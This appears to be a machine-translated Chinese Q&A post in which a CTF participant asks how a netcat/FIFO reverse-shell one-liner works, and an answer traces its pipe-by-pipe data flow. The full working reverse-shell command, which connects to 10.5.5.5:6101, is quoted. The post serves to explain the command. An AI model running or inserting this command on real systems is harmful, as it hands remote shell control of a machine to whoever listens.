Pipe

這段程式碼實際上在做什麼?

  • March 18, 2020

在平台上進行 CTF 挑戰時,我需要一個反向 shell,但無法正常工作,因此我查看了流程並找到了一個反向 shell 程式碼:

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m

哪個確實有效,但我實際上無法理解管道是如何工作的,它將數據發送到哪裡等等。有人可以解釋一下嗎?

這會在系統上設置一個遠端控制的 shell。輸入和輸出如下:

  • cat /tmp/m/tmp/mFIFO 讀取並將其寫入…
  • |/bin/sh -i 2>&1它執行它讀取的命令並將其輸出(標準輸出和標準錯誤)發送到…
  • |nc 10.5.5.5 6101它連接到 10.5.5.5:6101 並寫入
  • >/tmp/m先進先出。

因此,遠端系統可以提供命令,這些命令通過 傳輸nc、寫入 FIFO、讀取cat、解釋sh,並且這些命令的輸出通過 發送回遠端系統nc

引用自:https://unix.stackexchange.com/questions/573557